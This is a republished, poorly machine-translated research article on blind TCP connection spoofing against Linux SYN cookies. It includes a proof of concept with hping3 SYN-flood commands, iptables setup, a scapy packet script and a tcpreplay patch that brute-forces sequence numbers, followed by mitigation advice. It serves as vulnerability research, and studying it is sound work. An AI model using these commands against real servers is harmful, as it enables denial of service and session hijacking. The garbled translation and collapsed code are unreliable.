TCP connection spoofing attack-using SYN Cookies

Source: Internet
Author: User

Summary
 
TCP uses 32-bit Seq/Ack serial numbers to confirm the reliability of each connection. in addition, these 32-bit serial numbers can ensure that the server will not be hijacked by sessions. It is difficult to forge an initial serial number (ISN) issued by a server. the 32-bit serial number is required for brute-force cracking, which is also difficult to implement on a gigabit Nic. today's article will show you how to use tcp syn Cookies (a widely used defense mechanism to prevent SYN-Flooding DOS attacks) to reduce the time required to raise the ISN, SYN Cookies have been installed by default in Ubuntu and Debian distributions.
 
I. TCP basic knowledge Review
 
A TCP connection starts from three handshakes:
 

 
SYN: Client A sends a syn packet to the server to initialize A connection. This SYN packet contains an initial serial number (ISN) generated by Client ).
SYN-ACK: Server B answers the connection request from Client. the SYN-ACK package also contains an ISN, but this ISN is generated by the server. in addition, he will also respond to the ISN from the previous client, so Client A can confirm from this SYN-ACK package that the last message it sent has been received by server B, in addition, through ISN, it can also verify whether it is sent by the server it requires, so as to verify the authenticity of the server.
ACK: In the last step of three handshakes, client A sends an ACK response packet to server B to confirm that client A has received the ISN of server B. therefore, server B can confirm that client A has actually received the SYN-ACK package it issued, as shown in the entire three-way handshake process.
 
After the three handshakes are completed, TCP is established. Then, both parties can transmit data to the other party. the initial serial number not only determines that the other party can receive the packets it sends, but also prevents IP spoofing because the attacker cannot forge the initial serial number or know the initial serial number.
 
Because the initial serial number is a 32-bit value, we cannot blindly seek ISN to construct data packets. if we need to send three packets to the server (one SYN packet is used to initialize the connection, and one ACK packet is used to end three handshakes and one payload packet ), on average, we need to send 3*2 ^ 32 packets to successfully implement a session spoofing. if we continuously send packets at a rate of 300,000 packets per second (which can be easily implemented using a gigabit high-speed Nic), It takes 12 hours to send these packets.
 
The TCP protocol has a well-known weakness in design. Attackers can use a large number of SYN packets to fool the server. the server must send a SYN-ACK response packet back for each SYN request, at which point the server must maintain a semi-open connection until it receives a corresponding ACK response packet. maintaining such a large number of semi-open connections will consume server resources until the resources are exhausted. The server will be slower and slower, but this attack on the client is regarded as "legal" because it complies with the TCP protocol. This "legal" attack is called SYN Flooding (SYN Flood attack), which is also a type of DOS attack. Even an attacker can effectively attack a common server with only a little network bandwidth.
 
II. What is SYN Cookie?
 
Daniel J. bernstein introduced a technology called TCP Syn Cookies in 1996. the core technology is that when the TCP server receives the tcp syn Packet and returns the tcp syn + ACK packet, a cookie value is calculated based on the SYN Packet instead of a dedicated data zone. When the tcp ack packet is received, the TCP server checks the validity of the tcp ack packet based on the cookie value. If valid, assign a dedicated data area to process future TCP connections.
 
Therefore, servers do not need to maintain semi-open connections. Syn Cookies only remember the details of SYN packets sent by the client. for example, when the initial SYN packet contains the maximum segment size (MSS) sent from the client, the server can use three bits to encode the MSS (using an 8-bit hard-coded table of MSS values ). or to confirm that the semi-open connection will expire after a period of time, the server will set a string of slowly increasing character counters (generally one minute ). other options of SYN packets are ignored. (Recently, Linux kernel added support for the timestamp Message option in TCP [1]). when an ACK response packet is received, the Linux kernel extracts the corresponding SYN Cookie value for comparison with the ACK packet.
 
This classic method of Bernstein only resets the counter and MSS value [2], and only uses eight ISN bits. Therefore, this allows the remaining 24 bits of information to be forged (unpredictable) by attackers for session hijacking. As a result, the SYN + ACK package can be exploited in a short period of time, and the current network hardware equipment can be used easily. To mitigate such attacks, Bernstein recommends: [3]:
 
# Add an extra cookie flag: a 32-bit long a 32-bit information generated by the private function to prevent attacks
 
This has already been implemented in the latest Lunix kernel. It does ensure that the encrypted ISN information is more difficult to get rid of than the unencrypted functions. However, when we look at this encryption function further, we find that attackers may not have to cite the entire 32-bit ISN.
 
The following functions show how SYN Cookies Based on Linux Kernel 3.10.1 work (file net/ipv4/syncookies. c ):
 

#define COOKIEBITS 24/* Upper bits store count */#define COOKIEMASK (((__u32)1 << COOKIEBITS) - 1)static __u32 secure_tcp_syn_cookie(__be32 saddr, __be32 daddr, __be16 sport,   __be16 dport, __u32 sseq, __u32 count,   __u32 data){/* * Compute the secure sequence number. * The output should be: *   HASH(sec1,saddr,sport,daddr,dport,sec1) + sseq + (count * 2^24) *      + (HASH(sec2,saddr,sport,daddr,dport,count,sec2) % 2^24). * Where sseq is their sequence number and count increases every * minute by 1. * As an extra hack, we add a small "data" value that encodes the * MSS into the second hash value. */return (cookie_hash(saddr, daddr, sport, dport, 0, 0) +sseq + (count << COOKIEBITS) +((cookie_hash(saddr, daddr, sport, dport, count, 1) + data) & COOKIEMASK));}

The sseq value is a serial number generated by the client, so it can be easily intercepted by attackers. The data type is an integer between 0 and 7. The SYN Cookie uses the eight integer data to encode the MSS value. the counter value is only a timestamp that increases every minute. The total data length is 8 bits. However, attackers must also brute force crack the counter value to achieve disguised purposes.
 
The following two functions demonstrate how SYN Cookies check received ACK packets: +
 

#define COUNTER_TRIES 4/* * This retrieves the small "data" value from the syncookie. * If the syncookie is bad, the data returned will be out of * range.  This must be checked by the caller. * * The count value used to generate the cookie must be within * "maxdiff" if the current (passed-in) "count".  The return value * is (__u32)-1 if this test fails. */static __u32 check_tcp_syn_cookie(__u32 cookie, __be32 saddr, __be32 daddr,  __be16 sport, __be16 dport, __u32 sseq,  __u32 count, __u32 maxdiff){__u32 diff;/* Strip away the layers from the cookie */cookie -= cookie_hash(saddr, daddr, sport, dport, 0, 0) + sseq;/* Cookie is now reduced to (count * 2^24) ^ (hash % 2^24) */diff = (count - (cookie >> COOKIEBITS)) & ((__u32) - 1 >> COOKIEBITS);if (diff >= maxdiff)return (__u32)-1;return (cookie -cookie_hash(saddr, daddr, sport, dport, count - diff, 1))& COOKIEMASK;/* Leaving the data behind */}/* * Check if a ack sequence number is a valid syncookie. * Return the decoded mss if it is, or 0 if not. */static inline int cookie_check(struct sk_buff *skb, __u32 cookie){const struct iphdr *iph = ip_hdr(skb);const struct tcphdr *th = tcp_hdr(skb);__u32 seq = ntohl(th->seq) - 1;__u32 mssind = check_tcp_syn_cookie(cookie, iph->saddr, iph->daddr,    th->source, th->dest, seq,    jiffies / (HZ * 60),    COUNTER_TRIES);return mssind < ARRAY_SIZE(msstab) ? msstab[mssind] : 0;}

 
 
First, the server removes the first hash value defined by the client in ISN. this is very easy to implement, because the hash value is about the source/destination address and source/destination port, and does not change the original value during transmission. the next 8 bits are the counter values, which are used as one of the basis for the server to generate SYN cookies. The server will hash the value of this counter again. Together with the MSS value, the ACK response packet identified by the SYN Cookie is the standard sent from the source address.
 
III. Use a large number of valid ISNs to reduce the time spent on brute force attacks
 
When the Lunix kernel encodes an ISN counter value and an MSS value, the kernel must encode a combination of valid counter values and MSS values. However, in a given period of time. there are four counter values and eight possible MSS values which constitute a combination of 32 counter values and MSS values. The server's SYN Cookie determines that the value is a valid value. Attackers can use either of these 32-bit combinations to construct an ACK response packet for the server's SYN Cookie. by constructing a well-matched valid ISN value, you can reduce the time spent on brute force attacks.
 
Because the server does not need to remember what SYN packets it has received but uses the SYN Cookies mechanism, attackers do not need to send the initial SYN packets. after we send a counterfeit 32 Valid ACK response packet, the server kernel will process these valid ACK response packets, it doesn't matter whether there are SYN-Ack or SYN packets corresponding to these response packets.
 
IV. How to combine ACK-Packet and Payload
 
Although the TCP standard assumes that the data is sent after the three-way handshake is completed, we can attach the data to the ACK response packet and send it with the last hold of the three-way handshake! (He can do that too !) [4]. this means that the attacker can attach the payload data (such as an http request header) to the ACK response packet with the ISN configured in detail, which can be used for session hijacking, this reduces the time required to send the payload data packet independently. Therefore, the number of packets sent by a successful session hijacking can be reduced to 2 ^ 32/32 on average (because the server can receive 32 different ISN values at a time ). in this way, we would like to reduce the 12 hours in section I to 8 minutes to complete a brute force attack.
 
 
 
V. Which applications can be used for TCP session hijacking?
 
In the Development Mechanism of many applications, one thing is that the client's IP address exists, so it is not easy to be hijacked by sessions. whether source addresses can be forged is of great significance to which application software uses IP addresses for identity authentication. Many applications still use IP addresses for identity authentication, for example. the administrator interface on some programs is only available to hosts with IP addresses. another example of using IP addresses as identity authentication is that many web applications bind session IDs to the IP addresses of bound users. once a user's session ID is stolen by attackers, attackers can use various methods to forge user IP addresses to achieve session hijacking.
 
In addition, many applications also use IP addresses as authentication requests, which allows applications to easily record users' IP addresses. This also allows administrators to easily track intruders based on their IP address records. However, this method is not perfect for recording the IP addresses of attackers, because attackers can easily avoid tracing using various proxies.
 
One of the biggest drawbacks of this technology is that by forging your IP address, you can only send one request, but cannot receive any response from the server. however, for most protocols, we can easily obtain the server response. Session hijacking using the combination of ACK response packets and Payload packets is more suitable for applications developed using complicated protocols.
 
VI. One POC Exploit and test method
 
This section mainly describes the steps and preparations required for real attacks. The complete POC code will be posted below. set the IP address of the target server to 192.168.1.11 and the port to 1234. the attacker's host is in the same CIDR Block and the IP address of the attacker is 192.168.1.217.
 
First, check that SYN Cookies are working properly. We can use the default path in/proc/sys/net/ipv4/tcp_syncookies (in different linux distributions) path ,. The system will still use the Server Buffer Queue to store semi-open connections. The system will not use SYN Cookies until the buffer overflow occurs. this is mainly the result of optimization, because when the server is relatively idle, the system still prefers to use the traditional connection processor to store the connection status, this is because the server wants to save as much connection information as possible ,). we can define the Server Buffer Queue size in/proc/sys/net/ipv4/tcp_max_syn_backlog. By default, the Buffer Queue size is 2048 bytes. Therefore, before session hijacking, we must first use Syn-Flooding attacks to overflow the server's Buffer Queue. You can use hping3 to complete the attack. The command is as follows:
 
Hping3-I u100-p 1234-S-a 192.168.1.216-q 192.168.1.11
 
 
We open a few more hping3 to send packets in parallel to speed up brute force. We use the following command to send SYN packets. hping3 will send 3000 SYN packets per second to the target server:
While true; do time hping3-I u1-c 3000-S-q-p 1234-a 192.168.1.216 192.168.1.11; sleep 1; done
 
 
 
After the target server is under SYN-Flooding attacks, if the attacker does not respond to an RST packet or returns a message that is inaccessible to the ICMP target host, the server's Buffer Queue will be full. in linux, you can simply add a network interface to add an IP address so that all communication traffic flows through this network interface to prevent the attacker from replying to RST packets. The configured command is as follows:
 
Ifconfig eth0: 1 inet 192.168.1.216 netmask 255.255.255.0 up
 
Iptables-I INPUT -- dst 192.168.1.216-j DROP
 
 
 
I used the same command to configure the attacker. this command ensures that the attacker will not respond to an RST packet or return a message that is inaccessible to the ICMP target host, which may cause premature connection interruption. Therefore, we configure the host as follows:
 
Ifconfig eth0: 2 inet 192.168.1.217 netmask 255.255.255.0 up
 
Iptables-I INPUT -- dst 192.168.1.217-j DROP
 
 
 
Once the server system has enabled the SYN-Cookie mode, it is time to send the ACK + PAYLOAD data packet for the 32-bit ISN information we have carefully constructed. I initially wanted to use scapy, but scapy's packet sending speed was too slow to meet our expectation (less than 10 k packets per second ). therefore, I have used the tcpreplay tool to implement it. The main difficulty of implementation is how to raise 2 ^ 32 possible values without repeating them. in theory, you have to raise the list of all possible ISNs. but the counter value will only increase once in a minute. We can use this feature to optimize the algorithm. We use an algorithm called "linear search" for optimization, therefore, we can make tcpreplay generate data packets more quickly.
 
The following python script creates a simple ACK response package and adds payload to it:
 

#! /Usr/bin/python # Change log level to suppress annoying IPv6 errorimport logginglogging. getLogger ("scapy. runtime "). setLevel (logging. ERROR) from scapy. all import * import time # Adjust MAC addresses of sender and recipient of this packet accordingly, the dst MAC # shocould be the MAC of the gateway to use when the target is not on your local subnetether = Ether (src = "40: eb: 60: 9f: 42: a0 ", dst =" e8: 40: f2: d1: b3: a2 ") # Set up source and destination IP addressesip = IP (src =" 192.168.1.217 ", dst = "192.168.1.11") # Assemble an ACK packet with "Hello World \ n" as a payloadpkt = ether/ip/TCP (sport = 31337, dport = 1234, flags = "A", seq = 43, ack= 1337)/("Hello World \ n") # Write the packet to a pcap file, which can then be sent using a patched version of tcpreplaywrpcap ("ack_with_payload.pcap", pkt) The next step is to fix and compile tcpreplay: tcpreplay_patch.txtraw downloaddiff-u-r tcpreplay-3.4.4/src/send_packets.c tcpreplay-3.4.4.patched/src/send_packets.c --- tcpreplay-3.4.4/src/send_packets.c2010-04-05 02:58:02. 000000000 + 0200 + + tcpreplay-3.4.4.patched/src/send_packets.c2013-08-06 10:56:51. 757048452 + 0200 @-+ @ void send_packets (pcap_t * pcap, int handle) {+ static u_int32_t handle = 1; + uint32_t * ack; + uint32_t orig_ack; struct timeval last = {0, 0}, last_print_time = {0, 0}, print_delta, now; COUNTER packetnum = 0; struct pcap_pkthdr pkthdr; @-154,6 + 157,9 # endif # if defined TCPREPLAY & defined TCPREPLAY_EDIT + ack = (uint32_t *) (pktdata + 14 + 20 + 8 ); + orig_ack = * ack; + * ack = htonl (ntohl (* ack) + ack_bruteforce_offset); pkthdr_ptr = & pkthdr; if (tcpedit_packet (tcpedit, & pkthdr_ptr, & pktdata, sp-> cache_dir) =-1) {errx (-1, "Error editing packet #" COUNTER_SPEC ": % s", packetnum, tcpedit_geterr (tcpedit )); @-176,7 + 182,7 @/* write packet out on network */if (sendpacket (sp, pktdata, pktlen) <(int) pktlen) warnx ("Unable to send packet: % s", sendpacket_geterr (sp);-+ * ack = orig_ack;/** track the time of the "last packet sent ". again, because of OpenBSD * we have to do a mempcy rather then assignment. @-205,7 + 211,7 }}}/* while */-+ ack_bruteforce_offset + = 31337; if (options. enable_file_cache) {options. file_cache [cache_file_idx]. cached = TRUE ;}

 
 
The following command applies to Ubuntu 12.04 amd64:
 
apt-get install build-essential libpcap-devln -s lib/x86_64-linux-gnu /usr/lib64 # Quick workaround for a bug in the build system of tcpreplaywget -O tcpreplay-3.4.4.tar.gz http://prdownloads.sourceforge.net/tcpreplay/tcpreplay-3.4.4.tar.gz?downloadtar xzvf tcpreplay-3.4.4.tar.gzcd tcpreplay-3.4.4cat ../tcpreplay_patch.txt | patch -p1./configuremakecp src/tcpreplay-edit ../

 
 
 
After tcpreplay is compiled and upgraded to the latest version, you can use the following to send data packets:
 
1 python create_packet.py
 
While true; do time./tcpreplay-edit-I eth0-t-C-K-l 500000000-q ack_with_payload.pcap; done
 
 
 
VII. Experiment results
 
I used a 3-year laptop to test the program on a local network (HP 6440, i5-430M CPU and Marvell 88e8072 Gigabit Nic), a laptop as an attacker and a desktop computer as a server. With a relatively small payload function, the encapsulation rate can be 280000 packets/second. On the tested attack host, the tcpreplay tool occupies 73% CPU usage (on the output of time. 18% for user output and 55% for system output) according to [5], it is expected that when a fast algorithm is provided with a fairly good intel Gigabit Nic, the encapsulation rate can be at least doubled. Of course, the actual encapsulation rate also depends on the size of payload data. During the 10.5-hour overnight operation, I successfully spoofed 64 connections, where each successful TCP spoofing took an average of 10 minutes. This is somewhat lower than the expected value: 79 Forged connections (once every 8 minutes ). There are several possible interpretations of this deviation:
 
1. In the tcpreplay process, it takes some time for the final print statistics. No packets are sent during this period. Therefore, I only use the tcpreplay output to measure the packet rate and the measured packet rate may be slightly deviated.
 
2. When your hardware achieves the maximum data transmission rate, there may be packet loss (especially if you do not use any congestion control ).
 
3. The success rate of spoofing is a statistical process. The standard deviation is about the square root of the expected number of spoofing connections, which is not particularly likely to be canceled by the expectation of one or two standard deviations. In this experiment, the standard deviation and the measurement of some Forged connections have a standard deviation of 1.68, which are all in the expected statistical changes.
 
VIII. possible mitigation
 
The implementation of TCP connection spoofing is an inherent problem of tcp syn Cookie. Therefore, there is no simple patch to solve this problem, making it as difficult as a spoofing attack without SYN Cookies. The only possibility is to increase the difficulty of spoofing a connection. For example, to accept only the last two instead of the four counter values (in SYN flood attacks, this will cause a timeout between the first SYN Packet and the last ACK packet in the three-way handshake) or, the payload data is not allowed to be added after the data arrangement of ACK packets (the number of packets sent by attackers will double ). However, even if the two mitigation measures are in place, spoofing attacks with SKN cookies are still easier than those without SYN cookies, and it is not advisable to assume that the source IP address of the TCP connection cannot be spoofed. It may also use a lower bit under the TCP timestamp option (which is currently used to support TCP options with SYN Cookies) to encode the value of MSS and counter. However, if the server rejects a client that does not support a TCP timestamp, this can provide effective protection during SYN flood attacks, but this will break the universality of the standard TCP protocol.
 
This can obviously disable SYN Cookies (or increase the length of the storage queue in/proc/sys/net/IPv4/tcp_max_syn_backlog ). However, disabling SYN cookies may require a large amount of CPU time and memory for SYN flood attacks. In addition, session spoofing is still possible without SYN cookies-it may still succeed in the case of a few Gbit/s Ethernet connections.
 
In view of other mitigation measures, my advice is to address high levels of problems-to ensure that the security of applications does not depend on the reliability of the source address. This obviously means that you should never rely on source IP address authentication. Web applications can also mitigate the problem by using secure CSRF tokens. CSRF attacks cause persistent changes on the server without handling requirements, unless a valid CSRF token is used. In this case, the IP Address requested by using the CSRF token may be spoofed, but the IP address sent by the token cannot be forged because the attacker will receive the CSRF token so that he can use it. IP address used for certain behaviors such as blog comments or registering an account during logon. The IP address that the CSRF token has been sent to should be recorded (or replaced) with the IP address of the token at the same time.

References:
 
[1]: http://lwn.net/Articles/277146/
 
[2]: http://cr.yp.to/syncookies.html Section "What are SYN cookies ?"
 
[3]: http://cr.yp.to/syncookies.html Section "Blind connection forgery"
 
[4]: http://www.thice.nl/creating-ack-get-packets-with-scapy/
 
[5]: HTTP:/wiki.networksecuritytoolkit.org/nstwiki index. php/lan_ethernet_maximum_rates, _ generation, _ capturing _ % 26_monitoring # pktgen: _ udp_60_byte_packets

 
Original article:Http://www.91ri.org/7075.html

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.